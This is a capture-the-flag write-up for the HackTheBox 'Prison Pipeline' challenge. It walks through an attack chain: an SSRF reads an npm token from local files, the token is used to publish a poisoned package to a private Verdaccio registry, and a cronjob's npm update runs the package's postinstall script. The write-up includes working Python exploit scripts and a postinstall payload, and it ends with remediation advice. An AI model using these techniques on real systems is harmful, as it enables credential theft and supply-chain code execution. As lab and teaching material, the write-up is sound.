//Prison Pipeline
Challenge: Prison Pipeline (MISC)
Goal: Exploit the Prison-Pipeline record management system to retrieve the HTB flag.
Remote: 94.237.48.12:52219
>TL;DR
An SSRF vulnerability in the /api/prisoners/import endpoint allows the server to fetch arbitrary URLs (including file://, gopher:// and localhost services). Using the SSRF I:
-
Leaked internal configuration and credentials (an npm token in
/home/node/.npmrc). -
Used that token to authenticate to the local Verdaccio registry and publish malicious
prisoner-dbpackage versions containingpostinstallscripts. -
The system's cronjob automatically runs
npm update prisoner-dband executes ourpostinstallon the server (as thenodeuser). Thepostinstallexecutes the SUID binary/readflagand writes the flag into a file that Verdaccio serves. -
Retrieved the flag from the registry URL.
Final flag: HTB{pr1s0n_br34k_w1th_supply_ch41n!_561a54f306b52f993f4f81caad70aab6}
>Vulnerable components & notes
-
Application: Node.js / Express app serving
/api/prisoners/import. -
prisoner-dbmodule performs the import using anode-libcurlwrapper and returns the fetched response body in the prisoner record. -
POST /api/prisoners/importtakes JSON{ "url": "..." }andcurl.get(url)s the URL. This is a classic SSRF sink. -
The server runs additional internal services:
- Verdaccio private registry on localhost:4873 (proxied by nginx on port 1337 when Host header is registry.prison-pipeline.htb).
- A cronjob run by user node that periodically checks the local registry and runs npm --registry http://localhost:4873 update prisoner-db.
- A SUID binary /readflag which executes cat /root/flag.
These components created a path to escalate SSRF => auth/credentials leak => package publish => remote code exec (postinstall) => root-file read (via SUID helper).
>Attack walkthrough (high level)
-
Trigger SSRF and make the server fetch local files such as
/home/node/.npmrcand/home/node/.config/verdaccio/*. -
From
/home/node/.npmrcextract the registry token (value is base64 in the file). Decode the token to find usable credentials/token. -
Use the leaked token to authenticate to the Verdaccio registry (Host header
registry.prison-pipeline.htbon remote port52219) and publish a new version of packageprisoner-dbthat includes apostinstallscript. -
The server cronjob updates the package and executes
postinstallas usernode. Thepostinstallruns/readflagand writes output to a location served by Verdaccio. -
Fetch the file from the registry (which is externally accessible) and read the flag.
>Reproduction steps (with code & scripts used)
Notes: All commands were executed from my attacker machine. The remote server is
94.237.48.12:52219. In the code below the scripts live in the workspace under001_extracted/.
1) SSRF: import arbitrary URLs
Script: 002_import_flag.py — simple harness to POST /api/prisoners/import and then fetch the created prisoner record. Use it to manually try file:// or http://127.0.0.1:4873 URLs.
Example: (contents of 002_import_flag.py)
#!/usr/bin/env python3
import requests
import sys
import time
HOST = 'http://94.237.48.12:52219'
URL = 'file:///root/flag'
if len(sys.argv) > 1:
URL = sys.argv[1]
if len(sys.argv) > 2:
HOST = sys.argv[2]
print('\n🔎 Starting exploit: Prison Pipeline SSRF -> file read')
print('-----------------------------------------------------')
print(f'Target host: {HOST}')
print(f'Fetch URL : {URL}\n')
try:
print('📤 Importing prisoner record via SSRF...')
resp = requests.post(HOST + '/api/prisoners/import', json={'url': URL}, timeout=10)
print('↩️ Response status:', resp.status_code)
print(resp.text)
resp.raise_for_status()
data = resp.json()
pid = data.get('prisoner_id')
if not pid:
print('❌ No prisoner_id returned. Import may have failed.')
sys.exit(1)
print('\n⏳ Waiting a moment for server to write file...')
time.sleep(1)
print(f'📥 Fetching imported prisoner record {pid}...')
resp2 = requests.get(HOST + f'/api/prisoners/{pid}', timeout=10)
print('↩️ Response status:', resp2.status_code)
print(resp2.text)
resp2.raise_for_status()
rec = resp2.json()
raw = rec.get('raw')
print('\n✨ Retrieved raw prisoner data:')
print('-----------------------------------------------------')
print(raw)
print('-----------------------------------------------------')
# Attempt to extract HTB flag pattern
import re
m = re.search(r"HTB\{[^}]+\}", raw)
if m:
print('\n🎯 Flag found:', m.group(0))
else:
print('\n⚠️ No HTB flag pattern found in retrieved content. Raw output printed above.')
except Exception as e:
print('\n💥 Exploit failed:', e)
sys.exit(1)
Run to try to fetch a file on the remote host:
python3 002_import_flag.py "file:///home/node/.npmrc"
This saved the remote file into a new prisoner record that we can then fetch at /api/prisoners/<ID>.
2) Mass probing for local files using SSRF
I wrote a helper 008_ssrf_file_leak.py that attempts multiple URL forms (file://, http://127.0.0.1 with paths, gopher raw requests to ports 1337/4873) for a list of target files. The script saves responses into 009_leak_* files in the workspace.
Key targets included:
-
/home/node/.npmrc( -> found an auth token) -
/home/node/.config/verdaccio/config.yaml(registry configuration) -
/home/node/.config/verdaccio/htpasswd(registry user list) -
/home/node/setup-registry.shand/home/node/cronjob.sh(revealed cron behavior) -
/readflagand/root/flag(reading binaries vs files — note: reading/readflagreturned the SUID binary ELF; reading/root/flagdid not yield the final flag directly)
Example run (generate leaks):
python3 008_ssrf_file_leak.py
The script saved the interesting findings under 009_leak_npmrc_node_att1.txt (contains a token) and 009_leak_verdaccio_config_att1.txt (contains Verdaccio config showing publish: $authenticated), and 009_leak_verdaccio_htpasswd_att1.txt (showing user registry existed).
A sample extracted .npmrc leaked line:
//localhost:4873/:_authToken="MWZlMmI1OTRiZjMwNTJkMjYwNWZhYTE1NGJlNTVjZDQ6OGRjNDBlMDE3YWNhYjVi..."
The base64 token decoded to a value of the form user:secret which we later used.
3) Decode the leaked token and attempt registry publish
I decoded the base64 token and tried several authentication variants. The correct form here was to use the base64 token value as a Bearer token in the Verdaccio Authorization header.
Short example of decoding (done in the workspace):
import base64
enc = 'MWZlMmI1O...'
print(base64.b64decode(enc).decode())
# => looks like: 1fe2b59...:8dc40e017...
Once the right header form was discovered, publishing to the registry worked.
I used the script 010_publish_with_leak.py (or a short ad-hoc Python requests PUT) to publish a new version of the prisoner-db package using the leaked Bearer token.
Important: the registry is reached through Nginx. All registry requests must include header Host: registry.prison-pipeline.htb (the scripts set this automatically when calling the remote server URL http://94.237.48.12:52219/<package>).
4) Publish a malicious package with postinstall
To trigger privileged file reads with the SUID helper, the malicious package had a postinstall script. The general idea was to have postinstall run /readflag and redirect output to a file we can fetch.
The cronjob runs as user node and periodically executes npm --registry http://localhost:4873 update prisoner-db. That means the server will auto-update to the latest published prisoner-db and run its postinstall.
Two approaches were used during the engagement:
-
Initially, a
postinstallwrote the flag to/app/static/flag.txt(served by the main app). This worked but the app was subsequently unavailable (502), so I switched to writing somewhere served by Verdaccio itself. -
Final approach: publish a version whose
postinstallwrote/readflagoutput into the Verdaccio storage path for the package, e.g.
postinstall: /readflag > /home/node/.config/verdaccio/storage/prisoner-db/flag.txt
This path is served by Verdaccio (importantly, the registry UI serves files stored under its storage path via the package URL), so after postinstall runs we could GET the file directly from the registry with Host registry.prison-pipeline.htb:
GET http://94.237.48.12:52219/prisoner-db/-/flag.txt (Host: registry.prison-pipeline.htb)
5) Publish & fetch (commands)
The script used to publish version 1.0.2 and fetch the flag was 010_publish_with_leak.py. The important part that published the malicious metadata looks like this (simplified):
# Build the tarball content (package.json + index.js), base64 it
metadata = {
'_id': 'prisoner-db',
'name': 'prisoner-db',
'versions': {
'1.0.2': {
'name': 'prisoner-db',
'version': '1.0.2',
'scripts': {
'postinstall': '/readflag > /home/node/.config/verdaccio/storage/prisoner-db/flag.txt'
},
'dist': { 'tarball': 'http://registry.prison-pipeline.htb/prisoner-db/-/prisoner-db-1.0.2.tgz' }
}
},
'dist-tags': {'latest': '1.0.2'},
'_attachments': { 'prisoner-db-1.0.2.tgz': { 'content_type': 'application/octet-stream', 'data': '<base64 tarball data>' }}
}
# PUT the metadata to the registry endpoint using the leaked Bearer token
requests.put('http://94.237.48.12:52219/prisoner-db', headers={'Host':'registry.prison-pipeline.htb','Authorization':'Bearer <token>'}, data=json.dumps(metadata))
After a short delay for the cronjob to pick up the new package (cronjob polls the registry every ~30s), I fetched the flag:
curl -s -H "Host: registry.prison-pipeline.htb" "http://94.237.48.12:52219/prisoner-db/-/flag.txt"
This returned:
HTB{pr1s0n_br34k_w1th_supply_ch41n!_561a54f306b52f993f4f81caad70aab6}
>Files & scripts created during the exploit
-
002_import_flag.py— quick SSRF/reader script used to import and fetch a remote resource via the import endpoint. -
003_publish_package.py— early attempt at publishing directly to registry (used for testing). -
004_ssrf_gopher_publish.py,005_ssrf_create_user.py,006_ssrf_4873_publish.py— experiments usinggopher://SSRF payloads to interact with the local registry from the server itself. -
007_ssrf_try_creds.py— small helper to attempt publishing/auth combos via SSRF to discover auth behavior. -
008_ssrf_file_leak.py— the targeted SSRF probing script that attempted many local file paths and wrote results to009_leak_*.txtfiles. -
010_publish_with_leak.py— final script that used the leaked token and publishedprisoner-dbversions (including the finalpostinstallthat wrote the flag into Verdaccio storage).
All scripts can be found in the repository workspace in the 001_extracted/ folder.
>Why this is a realistic, high-impact vuln
-
SSRF can reach internal services that are not normally reachable from the outside (
localhost:4873,localhost:5000, filesystem paths usingfile://). -
The system uses an automated supply-chain process (registry + cronjob +
npm update), which — when combined with SSRF and leaked auth — allows an attacker to inject code into the internal package distribution mechanism. -
The presence of a SUID helper that can print the flag (
/readflag) means a singlepostinstallexecuted bynodecan escalate to reading the root-owned flag due to setuid behavior.
This is a good example of a combined SSRF + config/secret leak + supply-chain abuse vulnerability chain.
>Remediation & hardening
- Harden SSRF sinks
- Validate and whitelist allowed schemes/hosts for any server-side fetch. Disallow file://, gopher:// and local addresses unless absolutely necessary.
- If you must allow fetches by URL, use a strict allowlist of domains and implement request filters (DNS rebinding, internal host checks, etc.).
- Secrets & credentials
- Do not store tokens in plaintext local files accessible to app runtime. Use a secrets management system or environment variables with restricted access.
- Ensure registry tokens are rotated and limited in scope.
- Registry & package management
- Avoid running auto-update cronjobs that install packages from a local registry automatically. If using automated updates, install them in a sandboxed environment and scan packages for scripts.
- Block or restrict postinstall scripts or run them in a constrained environment (no access to sensitive system paths).
- SUID helpers
- Avoid SUID binaries that print sensitive files, or ensure they are properly hardened and do not allow direct misuse from less-privileged accounts.